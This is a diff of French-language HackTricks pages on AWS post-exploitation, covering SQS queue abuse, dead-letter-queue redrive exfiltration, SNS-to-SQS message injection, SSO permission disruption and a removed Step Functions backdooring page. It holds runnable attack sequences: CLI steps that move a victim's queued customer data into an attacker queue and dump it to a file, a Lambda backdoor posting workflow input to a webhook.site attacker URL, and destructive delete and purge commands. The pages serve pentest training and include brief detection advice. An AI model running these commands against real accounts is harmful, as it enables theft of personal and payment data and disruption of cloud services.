aws sqs send-message-batch --queue-url <value> --entries <value>
|
||||
```
|
||||
**Impact potentiel** : Exploitation de vulnérabilités, corruption de données, actions non intentionnelles ou épuisement des ressources.
|
||||
|
||||
### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
|
||||
|
||||
Un attaquant pourrait recevoir, supprimer ou modifier la visibilité des messages dans une file d'attente SQS, entraînant une perte de messages, une corruption de données ou une interruption de service pour les applications s'appuyant sur ces messages.
|
||||
```bash
|
||||
aws sqs receive-message --queue-url <value>
|
||||
aws sqs delete-message --queue-url <value> --receipt-handle <value>
|
||||
aws sqs change-message-visibility --queue-url <value> --receipt-handle <value> --visibility-timeout <value>
|
||||
```
|
||||
**Impact potentiel** : Vol d'informations sensibles, perte de messages, corruption de données et interruption de service pour les applications dépendant des messages affectés.
|
||||
|
||||
### `sqs:DeleteQueue`
|
||||
|
||||
Un attaquant pourrait supprimer une file d'attente SQS entière, entraînant une perte de messages et impactant les applications dépendant de la file d'attente.
|
||||
```arduino
|
||||
Copy codeaws sqs delete-queue --queue-url <value>
|
||||
```
|
||||
**Impact potentiel** : Perte de messages et interruption de service pour les applications utilisant la file d'attente supprimée.
|
||||
|
||||
### `sqs:PurgeQueue`
|
||||
|
||||
Un attaquant pourrait purger tous les messages d'une file d'attente SQS, entraînant une perte de messages et une interruption potentielle des applications s'appuyant sur ces messages.
|
||||
```arduino
|
||||
Copy codeaws sqs purge-queue --queue-url <value>
|
||||
```
|
||||
**Impact potentiel** : Perte de messages et interruption de service pour les applications dépendant des messages purgés.
|
||||
|
||||
### `sqs:SetQueueAttributes`
|
||||
|
||||
Un attaquant pourrait modifier les attributs d'une file d'attente SQS, affectant potentiellement sa performance, sa sécurité ou sa disponibilité.
|
||||
```arduino
|
||||
aws sqs set-queue-attributes --queue-url <value> --attributes <value>
|
||||
```
|
||||
**Impact potentiel** : Des erreurs de configuration entraînant une dégradation des performances, des problèmes de sécurité ou une disponibilité réduite.
|
||||
|
||||
### `sqs:TagQueue` , `sqs:UntagQueue`
|
||||
|
||||
Un attaquant pourrait ajouter, modifier ou supprimer des étiquettes des ressources SQS, perturbant l'allocation des coûts de votre organisation, le suivi des ressources et les politiques de contrôle d'accès basées sur des étiquettes.
|
||||
```bash
|
||||
aws sqs tag-queue --queue-url <value> --tags Key=<key>,Value=<value>
|
||||
aws sqs untag-queue --queue-url <value> --tag-keys <key>
|
||||
```
|
||||
**Impact potentiel** : Perturbation de l'allocation des coûts, du suivi des ressources et des politiques de contrôle d'accès basées sur des balises.
|
||||
|
||||
### `sqs:RemovePermission`
|
||||
|
||||
Un attaquant pourrait révoquer les autorisations pour des utilisateurs ou des services légitimes en supprimant les politiques associées à la file SQS. Cela pourrait entraîner des perturbations dans le fonctionnement normal des applications qui dépendent de la file.
|
||||
```arduino
|
||||
arduinoCopy codeaws sqs remove-permission --queue-url <value> --label <value>
|
||||
```
|
||||
**Impact potentiel** : Perturbation du fonctionnement normal des applications s'appuyant sur la file d'attente en raison de la suppression non autorisée des autorisations.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,83 @@
|
||||
# AWS - SQS Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SQS
|
||||
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-sqs-and-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `sqs:SendMessage` , `sqs:SendMessageBatch`
|
||||
|
||||
Un attaquant pourrait envoyer des messages malveillants ou indésirables dans la file SQS, pouvant entraîner une corruption des données, déclencher des actions non voulues ou épuiser les ressources.
|
||||
```bash
|
||||
aws sqs send-message --queue-url <value> --message-body <value>
|
||||
aws sqs send-message-batch --queue-url <value> --entries <value>
|
||||
```
|
||||
**Impact potentiel**: Exploitation de la vulnérabilité, corruption des données, actions non intentionnelles ou épuisement des ressources.
|
||||
|
||||
### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
|
||||
|
||||
Un attaquant pourrait recevoir, supprimer ou modifier la visibilité des messages dans une file d'attente SQS, entraînant une perte de messages, une corruption des données ou une interruption de service pour les applications qui dépendent de ces messages.
|
||||
```bash
|
||||
aws sqs receive-message --queue-url <value>
|
||||
aws sqs delete-message --queue-url <value> --receipt-handle <value>
|
||||
aws sqs change-message-visibility --queue-url <value> --receipt-handle <value> --visibility-timeout <value>
|
||||
```
|
||||
**Potential Impact**: Voler des informations sensibles, perte de messages, corruption de données et interruption de service pour les applications dépendant des messages affectés.
|
||||
|
||||
### `sqs:DeleteQueue`
|
||||
|
||||
Un attaquant pourrait supprimer une file SQS entière, entraînant la perte de messages et affectant les applications dépendant de la file.
|
||||
```bash
|
||||
aws sqs delete-queue --queue-url <value>
|
||||
```
|
||||
**Impact potentiel**: Perte de messages et interruption de service pour les applications utilisant la file d'attente supprimée.
|
||||
|
||||
### `sqs:PurgeQueue`
|
||||
|
||||
Un attaquant pourrait purger tous les messages d'une file d'attente SQS, entraînant une perte de messages et une possible interruption des applications qui dépendent de ces messages.
|
||||
```bash
|
||||
aws sqs purge-queue --queue-url <value>
|
||||
```
|
||||
**Impact potentiel**: Perte de messages et interruption de service pour les applications dépendant des messages purgés.
|
||||
|
||||
### `sqs:SetQueueAttributes`
|
||||
|
||||
Un attaquant pourrait modifier les attributs d'une queue SQS, affectant potentiellement ses performances, sa sécurité ou sa disponibilité.
|
||||
```bash
|
||||
aws sqs set-queue-attributes --queue-url <value> --attributes <value>
|
||||
```
|
||||
**Impact potentiel** : Des erreurs de configuration pouvant entraîner une dégradation des performances, des problèmes de sécurité ou une disponibilité réduite.
|
||||
|
||||
### `sqs:TagQueue` , `sqs:UntagQueue`
|
||||
|
||||
Un attaquant pourrait ajouter, modifier ou supprimer des tags des ressources SQS, perturbant l'allocation des coûts de votre organisation, le suivi des ressources et les politiques de contrôle d'accès basées sur les tags.
|
||||
```bash
|
||||
aws sqs tag-queue --queue-url <value> --tags Key=<key>,Value=<value>
|
||||
aws sqs untag-queue --queue-url <value> --tag-keys <key>
|
||||
```
|
||||
**Impact potentiel**: Perturbation de l'allocation des coûts, du suivi des ressources et des politiques de contrôle d'accès basées sur les tags.
|
||||
|
||||
### `sqs:RemovePermission`
|
||||
|
||||
Un attaquant pourrait révoquer les autorisations des utilisateurs ou services légitimes en supprimant les politiques associées à la file d'attente SQS. Cela pourrait entraîner des perturbations du fonctionnement normal des applications qui dépendent de cette file d'attente.
|
||||
```bash
|
||||
aws sqs remove-permission --queue-url <value> --label <value>
|
||||
```
|
||||
**Impact potentiel**: Perturbation du fonctionnement normal des applications dépendant de la file d'attente en raison de la suppression non autorisée des autorisations.
|
||||
|
||||
### Autres SQS Post-Exploitation Techniques
|
||||
|
||||
{{#ref}}
|
||||
aws-sqs-dlq-redrive-exfiltration.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
aws-sqs-sns-injection.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,154 @@
|
||||
# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Description
|
||||
|
||||
Abuser des tâches de déplacement de messages SQS pour voler tous les messages accumulés dans la Dead-Letter Queue (DLQ) d'une victime en les redirigeant vers une file contrôlée par l'attaquant via `sqs:StartMessageMoveTask`. Cette technique exploite la fonctionnalité légitime de récupération de messages d'AWS pour exfiltrer des données sensibles qui se sont accumulées dans les DLQs au fil du temps.
|
||||
|
||||
## What is a Dead-Letter Queue (DLQ)?
|
||||
|
||||
Une Dead-Letter Queue est une file SQS spéciale où les messages sont automatiquement envoyés lorsqu'ils n'ont pas pu être traités avec succès par l'application principale. Ces messages échoués contiennent souvent :
|
||||
- Des données sensibles d'application qui n'ont pas pu être traitées
|
||||
- Des détails d'erreur et des informations de débogage
|
||||
- Des informations personnelles identifiables (PII)
|
||||
- Des tokens API, identifiants ou autres secrets
|
||||
- Des données transactionnelles critiques pour l'activité
|
||||
|
||||
Les DLQs servent de "cimetière" pour les messages échoués, ce qui en fait des cibles intéressantes car elles accumulent des données sensibles avec le temps que les applications n'ont pas pu gérer correctement.
|
||||
|
||||
## Attack Scenario
|
||||
|
||||
**Real-world example :**
|
||||
1. **E-commerce application** traite les commandes clients via SQS
|
||||
2. **Certaines commandes échouent** (problèmes de paiement, inventaire, etc.) et sont déplacées vers une DLQ
|
||||
3. **La DLQ s'accumule** pendant des semaines/mois avec des commandes échouées contenant des données clients : `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
|
||||
4. **L'attaquant obtient** des identifiants AWS avec des permissions SQS
|
||||
5. **L'attaquant découvre** que la DLQ contient des milliers de commandes échouées avec des données sensibles
|
||||
6. **Au lieu d'essayer d'accéder aux messages individuellement** (lent et évident), l'attaquant utilise `StartMessageMoveTask` pour transférer en masse TOUS les messages vers sa propre file
|
||||
7. **L'attaquant extrait** toutes les données sensibles historiques en une seule opération
|
||||
|
||||
## Requirements
|
||||
- La file source doit être configurée comme DLQ (référencée par au moins une RedrivePolicy de file).
|
||||
- Permissions IAM (exécutées en tant que le principal victime compromis) :
|
||||
- Sur la DLQ (source) : `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
|
||||
- Sur la file de destination : permission d'envoyer des messages (par ex., politique de file autorisant `sqs:SendMessage` depuis le principal victime). Pour des destinations dans le même compte, c'est typiquement autorisé par défaut.
|
||||
- Si SSE-KMS est activé : sur la CMK source `kms:Decrypt`, et sur la CMK de destination `kms:GenerateDataKey`, `kms:Encrypt`.
|
||||
|
||||
## Impact
|
||||
**Impact potentiel** : Exfiltrer rapidement des payloads sensibles accumulés dans les DLQs (événements échoués, PII, tokens, payloads d'application) en utilisant les APIs natives SQS. Fonctionne cross-account si la politique de la file de destination permet `SendMessage` depuis le principal victime.
|
||||
|
||||
## How to Abuse
|
||||
|
||||
- Identifier l'ARN de la DLQ victime et s'assurer qu'elle est bien référencée comme DLQ par au moins une file (n'importe quelle file).
|
||||
- Créer ou choisir une file de destination contrôlée par l'attaquant et récupérer son ARN.
|
||||
- Démarrer une tâche de déplacement de messages depuis la DLQ victime vers votre file de destination.
|
||||
- Surveiller la progression ou annuler si nécessaire.
|
||||
|
||||
### CLI Example: Exfiltrating Customer Data from E-commerce DLQ
|
||||
|
||||
**Scenario** : Un attaquant a compromis des identifiants AWS et découvert qu'une application e-commerce utilise SQS avec une DLQ contenant des tentatives de traitement de commandes clients échouées.
|
||||
|
||||
1) **Discover and examine the victim DLQ**
|
||||
```bash
|
||||
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
|
||||
aws sqs list-queues --queue-name-prefix dlq
|
||||
|
||||
# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
|
||||
VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
|
||||
SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
# Check how many messages are in the DLQ (potential treasure trove!)
|
||||
aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
|
||||
--attribute-names ApproximateNumberOfMessages
|
||||
# Output might show: "ApproximateNumberOfMessages": "1847"
|
||||
```
|
||||
2) **Créer une file d'attente de destination contrôlée par l'attaquant**
|
||||
```bash
|
||||
# Create our exfiltration queue
|
||||
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
|
||||
ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
echo "Created exfiltration queue: $ATTACKER_Q_ARN"
|
||||
```
|
||||
3) **Exécuter le vol massif de messages**
|
||||
```bash
|
||||
# Start moving ALL messages from victim DLQ to our queue
|
||||
# This operation will transfer thousands of failed orders containing customer data
|
||||
echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
|
||||
TASK_RESPONSE=$(aws sqs start-message-move-task \
|
||||
--source-arn "$SRC_ARN" \
|
||||
--destination-arn "$ATTACKER_Q_ARN" \
|
||||
--max-number-of-messages-per-second 100)
|
||||
|
||||
echo "Move task started: $TASK_RESPONSE"
|
||||
|
||||
# Monitor the theft progress
|
||||
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
|
||||
```
|
||||
4) **Récupérer les données sensibles volées**
|
||||
```bash
|
||||
# Receive the exfiltrated customer data
|
||||
echo "Receiving stolen customer data..."
|
||||
aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
|
||||
--attribute-names All --message-attribute-names All \
|
||||
--max-number-of-messages 10 --wait-time-seconds 5
|
||||
|
||||
# Example of what an attacker might see:
|
||||
# {
|
||||
# "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
|
||||
# "MessageId": "12345-abcd-6789-efgh"
|
||||
# }
|
||||
|
||||
# Continue receiving all messages in batches
|
||||
while true; do
|
||||
MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
|
||||
--max-number-of-messages 10 --wait-time-seconds 2 --output json)
|
||||
|
||||
if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
|
||||
echo "No more messages - exfiltration complete!"
|
||||
break
|
||||
fi
|
||||
|
||||
echo "Received batch of stolen data..."
|
||||
# Process/save the stolen customer data
|
||||
echo "$MESSAGES" >> stolen_customer_data.json
|
||||
done
|
||||
```
|
||||
### Notes entre comptes
|
||||
- La file de destination doit avoir une resource policy autorisant le principal de la victime à `sqs:SendMessage` (et, si utilisé, des grants/autorisations KMS).
|
||||
|
||||
## Pourquoi cette attaque est efficace
|
||||
|
||||
1. **Fonctionnalité AWS légitime**: Utilise une fonctionnalité intégrée d'AWS, ce qui rend l'activité difficile à détecter comme malveillante
|
||||
2. **Opération en masse**: Transfère rapidement des milliers de messages au lieu d'un accès lent message par message
|
||||
3. **Données historiques**: Les DLQs accumulent des données sensibles sur plusieurs semaines/mois
|
||||
4. **Peu visible**: De nombreuses organisations ne surveillent pas de près l'accès aux DLQs
|
||||
5. **Fonctionne entre comptes**: Peut exfiltrer vers le compte AWS de l'attaquant si les permissions le permettent
|
||||
|
||||
## Détection et prévention
|
||||
|
||||
### Détection
|
||||
Surveillez CloudTrail pour des appels API `StartMessageMoveTask` suspects :
|
||||
```json
|
||||
{
|
||||
"eventName": "StartMessageMoveTask",
|
||||
"sourceIPAddress": "suspicious-ip",
|
||||
"userIdentity": {
|
||||
"type": "IAMUser",
|
||||
"userName": "compromised-user"
|
||||
},
|
||||
"requestParameters": {
|
||||
"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
|
||||
"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
|
||||
}
|
||||
}
|
||||
```
|
||||
### Prévention
|
||||
1. **Principe du moindre privilège** : Restreindre les permissions `sqs:StartMessageMoveTask` aux rôles strictement nécessaires
|
||||
2. **Surveiller les DLQs** : Configurer des alarmes CloudWatch pour une activité inhabituelle des DLQs
|
||||
3. **Politiques inter-comptes** : Examiner attentivement les politiques de file d'attente SQS permettant un accès inter-comptes
|
||||
4. **Chiffrer les DLQs** : Utiliser SSE-KMS avec des politiques de clé restreintes
|
||||
5. **Nettoyage régulier** : Ne laissez pas les données sensibles s'accumuler indéfiniment dans les DLQs
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,54 @@
|
||||
# AWS – Injection SQS inter-compte / même compte via abonnement SNS + politique de file d'attente
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Description
|
||||
|
||||
Abusez d'une politique de ressource de file d'attente SQS pour permettre à un topic SNS contrôlé par l'attaquant de publier des messages dans une file SQS victime. Dans le même compte, un abonnement SQS à un topic SNS est confirmé automatiquement ; en cas d'inter-compte, vous devez lire le jeton SubscriptionConfirmation depuis la file et appeler ConfirmSubscription. Cela permet l'injection de messages non sollicités que les consommateurs en aval peuvent implicitement considérer comme fiables.
|
||||
|
||||
### Exigences
|
||||
- Capacité à modifier la politique de ressource de la file SQS cible : `sqs:SetQueueAttributes` sur la file victime.
|
||||
- Capacité à créer/publier sur un topic SNS contrôlé par l'attaquant : `sns:CreateTopic`, `sns:Publish`, et `sns:Subscribe` sur le compte/topic de l'attaquant.
|
||||
- Inter-compte uniquement : `sqs:ReceiveMessage` temporaire sur la file victime pour lire le jeton de confirmation et appeler `sns:ConfirmSubscription`.
|
||||
|
||||
### Exploitation dans le même compte
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
# 1) Create victim queue and capture URL/ARN
|
||||
Q_URL=$(aws sqs create-queue --queue-name ht-victim-q --region $REGION --query QueueUrl --output text)
|
||||
Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
# 2) Create attacker SNS topic
|
||||
TOPIC_ARN=$(aws sns create-topic --name ht-attacker-topic --region $REGION --query TopicArn --output text)
|
||||
|
||||
# 3) Allow that SNS topic to publish to the queue (queue resource policy)
|
||||
cat > /tmp/ht-sqs-sns-policy.json <<JSON
|
||||
{"Version":"2012-10-17","Statement":[{"Sid":"AllowSNSTopicPublish","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"SQS:SendMessage","Resource":"REPLACE_QUEUE_ARN","Condition":{"StringEquals":{"aws:SourceArn":"REPLACE_TOPIC_ARN"}}}]}
|
||||
JSON
|
||||
sed -i.bak "s#REPLACE_QUEUE_ARN#$Q_ARN#g; s#REPLACE_TOPIC_ARN#$TOPIC_ARN#g" /tmp/ht-sqs-sns-policy.json
|
||||
# Provide the attribute as a JSON map so quoting works reliably
|
||||
cat > /tmp/ht-attrs.json <<JSON
|
||||
{
|
||||
"Policy": "REPLACE_POLICY_JSON"
|
||||
}
|
||||
JSON
|
||||
# Embed the policy file contents as a JSON string
|
||||
POL_ESC=$(jq -Rs . /tmp/ht-sqs-sns-policy.json)
|
||||
sed -i.bak "s#\"REPLACE_POLICY_JSON\"#$POL_ESC#g" /tmp/ht-attrs.json
|
||||
aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes file:///tmp/ht-attrs.json
|
||||
|
||||
# 4) Subscribe the queue to the topic (auto-confirms same-account)
|
||||
aws sns subscribe --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --region $REGION
|
||||
|
||||
# 5) Publish and verify injection
|
||||
aws sns publish --topic-arn "$TOPIC_ARN" --message {pwn:sns->sqs} --region $REGION
|
||||
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 10 --attribute-names All --message-attribute-names All
|
||||
```
|
||||
### Remarques inter-comptes
|
||||
- La politique de la file ci-dessus doit autoriser le `TOPIC_ARN` étranger (compte attaquant).
|
||||
- Les abonnements ne se confirment pas automatiquement. Octroyez-vous temporairement `sqs:ReceiveMessage` sur la queue de la victime pour lire le message `SubscriptionConfirmation` puis appelez `sns confirm-subscription` avec son `Token`.
|
||||
|
||||
### Impact
|
||||
**Impact potentiel** : Injection continue de messages non sollicités dans une queue SQS de confiance via SNS, pouvant déclencher un traitement non désiré, polluer les données ou entraîner un abus de workflow.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,18 +1,18 @@
|
||||
# AWS - SSO & identitystore Post Exploitation
|
||||
# AWS - SSO & identitystore Post-exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SSO & identitystore
|
||||
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-iam-enum.md
|
||||
../../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `sso:DeletePermissionSet` | `sso:PutPermissionsBoundaryToPermissionSet` | `sso:DeleteAccountAssignment`
|
||||
|
||||
Ces permissions peuvent être utilisées pour perturber les permissions :
|
||||
Ces autorisations peuvent être utilisées pour perturber les autorisations :
|
||||
```bash
|
||||
aws sso-admin delete-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>
|
||||
|
||||
@@ -20,4 +20,4 @@ aws sso-admin put-permissions-boundary-to-permission-set --instance-arn <SSOInst
|
||||
|
||||
aws sso-admin delete-account-assignment --instance-arn <SSOInstanceARN> --target-id <TargetID> --target-type <TargetType> --permission-set-arn <PermissionSetARN> --principal-type <PrincipalType> --principal-id <PrincipalID>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,185 +0,0 @@
|
||||
# AWS - Step Functions Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Step Functions
|
||||
|
||||
Pour plus d'informations sur ce service AWS, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-stepfunctions-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `states:RevealSecrets`
|
||||
|
||||
Cette permission permet de **révéler des données secrètes à l'intérieur d'une exécution**. Pour cela, il est nécessaire de définir le niveau d'inspection sur TRACE et le paramètre revealSecrets sur true.
|
||||
|
||||
<figure><img src="../../../images/image (348).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
|
||||
|
||||
Un attaquant disposant de ces permissions pourrait supprimer définitivement des machines d'état, leurs versions et alias. Cela peut perturber des flux de travail critiques, entraîner une perte de données et nécessiter un temps considérable pour récupérer et restaurer les machines d'état affectées. De plus, cela permettrait à un attaquant de couvrir les traces utilisées, de perturber les enquêtes judiciaires et de potentiellement paralyser les opérations en supprimant des processus d'automatisation essentiels et des configurations d'état.
|
||||
|
||||
> [!NOTE]
|
||||
>
|
||||
> - En supprimant une machine d'état, vous supprimez également toutes ses versions et alias associés.
|
||||
> - En supprimant un alias de machine d'état, vous ne supprimez pas les versions de la machine d'état référencées par cet alias.
|
||||
> - Il n'est pas possible de supprimer une version de machine d'état actuellement référencée par un ou plusieurs alias.
|
||||
```bash
|
||||
# Delete state machine
|
||||
aws stepfunctions delete-state-machine --state-machine-arn <value>
|
||||
# Delete state machine version
|
||||
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
|
||||
# Delete state machine alias
|
||||
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
|
||||
```
|
||||
- **Impact potentiel** : Perturbation des flux de travail critiques, perte de données et temps d'arrêt opérationnel.
|
||||
|
||||
### `states:UpdateMapRun`
|
||||
|
||||
Un attaquant disposant de cette autorisation pourrait manipuler la configuration d'échec de l'exécution de la carte et le paramètre parallèle, étant capable d'augmenter ou de diminuer le nombre maximum d'exécutions de flux de travail enfants autorisées, affectant directement la performance du service. De plus, un attaquant pourrait altérer le pourcentage et le nombre d'échecs tolérés, étant capable de réduire cette valeur à 0, de sorte que chaque fois qu'un élément échoue, l'ensemble de l'exécution de la carte échouerait, affectant directement l'exécution de la machine d'état et perturbant potentiellement des flux de travail critiques.
|
||||
```bash
|
||||
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
|
||||
```
|
||||
- **Impact potentiel** : Dégradation des performances et interruption des flux de travail critiques.
|
||||
|
||||
### `states:StopExecution`
|
||||
|
||||
Un attaquant disposant de cette autorisation pourrait être en mesure d'arrêter l'exécution de n'importe quelle machine d'état, perturbant ainsi les flux de travail et les processus en cours. Cela pourrait entraîner des transactions incomplètes, des opérations commerciales arrêtées et une corruption potentielle des données.
|
||||
|
||||
> [!WARNING]
|
||||
> Cette action n'est pas prise en charge par **les machines d'état express**.
|
||||
```bash
|
||||
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
|
||||
```
|
||||
- **Impact potentiel** : Interruption des flux de travail en cours, temps d'arrêt opérationnel et corruption potentielle des données.
|
||||
|
||||
### `states:TagResource`, `states:UntagResource`
|
||||
|
||||
Un attaquant pourrait ajouter, modifier ou supprimer des balises des ressources Step Functions, perturbant l'allocation des coûts de votre organisation, le suivi des ressources et les politiques de contrôle d'accès basées sur des balises.
|
||||
```bash
|
||||
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
|
||||
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
|
||||
```
|
||||
**Impact potentiel** : Perturbation de l'allocation des coûts, du suivi des ressources et des politiques de contrôle d'accès basées sur des balises.
|
||||
|
||||
---
|
||||
|
||||
### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`
|
||||
|
||||
Un attaquant qui compromet un utilisateur ou un rôle avec les permissions suivantes :
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "AllowUpdateStateMachine",
|
||||
"Effect": "Allow",
|
||||
"Action": "states:UpdateStateMachine",
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Sid": "AllowUpdateFunctionCode",
|
||||
"Effect": "Allow",
|
||||
"Action": "lambda:UpdateFunctionCode",
|
||||
"Resource": "*"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
...peut mener une **attaque post-exploitation à fort impact et furtive** en combinant le backdooring de Lambda avec la manipulation de la logique des Step Functions.
|
||||
|
||||
Ce scénario suppose que la victime utilise **AWS Step Functions pour orchestrer des flux de travail qui traitent des entrées sensibles**, telles que des identifiants, des jetons ou des informations personnelles identifiables.
|
||||
|
||||
Exemple d'invocation de la victime :
|
||||
```bash
|
||||
aws stepfunctions start-execution \
|
||||
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
|
||||
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
|
||||
```
|
||||
Si la Step Function est configurée pour invoquer une Lambda comme `LegitBusinessLogic`, l'attaquant peut procéder avec **deux variantes d'attaque furtives** :
|
||||
|
||||
---
|
||||
|
||||
#### Mise à jour de la fonction lambda
|
||||
|
||||
L'attaquant modifie le code de la fonction Lambda déjà utilisée par la Step Function (`LegitBusinessLogic`) pour exfiltrer silencieusement les données d'entrée.
|
||||
```python
|
||||
# send_to_attacker.py
|
||||
import requests
|
||||
|
||||
def lambda_handler(event, context):
|
||||
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
|
||||
return {"status": "exfiltrated"}
|
||||
```
|
||||
|
||||
```bash
|
||||
zip function.zip send_to_attacker.py
|
||||
|
||||
aws lambda update-function-code \
|
||||
--function-name LegitBusinessLogic \
|
||||
--zip-file fileb://function.zip -profile attacker
|
||||
```
|
||||
---
|
||||
|
||||
#### Ajouter un État Malveillant à la Fonction d'Étape
|
||||
|
||||
Alternativement, l'attaquant peut injecter un **état d'exfiltration** au début du flux de travail en mettant à jour la définition de la Fonction d'Étape.
|
||||
```malicious_state_definition.json
|
||||
{
|
||||
"Comment": "Backdoored for Exfiltration",
|
||||
"StartAt": "OriginalState",
|
||||
"States": {
|
||||
"OriginalState": {
|
||||
"Type": "Task",
|
||||
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
|
||||
"End": true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
```bash
|
||||
aws stepfunctions update-state-machine \
|
||||
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
|
||||
--definition file://malicious_state_definition.json --profile attacker
|
||||
```
|
||||
L'attaquant peut même être plus furtif en mettant à jour la définition de l'état à quelque chose comme ceci
|
||||
{
|
||||
"Comment": "Backdoored for Exfiltration",
|
||||
"StartAt": "ExfiltrateSecrets",
|
||||
"States": {
|
||||
"ExfiltrateSecrets": {
|
||||
"Type": "Task",
|
||||
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker",
|
||||
"InputPath": "$",
|
||||
"ResultPath": "$.exfil",
|
||||
"Next": "OriginalState"
|
||||
},
|
||||
"OriginalState": {
|
||||
"Type": "Task",
|
||||
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic",
|
||||
"End": true
|
||||
}
|
||||
}
|
||||
}
|
||||
où la victime ne réalisera pas la différence
|
||||
|
||||
---
|
||||
|
||||
### Configuration de la Victime (Contexte pour l'Exploitation)
|
||||
|
||||
- Une Step Function (`LegitStateMachine`) est utilisée pour traiter des entrées utilisateur sensibles.
|
||||
- Elle appelle une ou plusieurs fonctions Lambda telles que `LegitBusinessLogic`.
|
||||
|
||||
---
|
||||
|
||||
**Impact Potentiel**:
|
||||
- Exfiltration silencieuse de données sensibles, y compris des secrets, des identifiants, des clés API et des informations personnelles identifiables (PII).
|
||||
- Pas d'erreurs ou d'échecs visibles dans l'exécution du flux de travail.
|
||||
- Difficile à détecter sans auditer le code Lambda ou les traces d'exécution.
|
||||
- Permet une persistance à long terme si la porte dérobée reste dans le code ou la logique ASL.
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
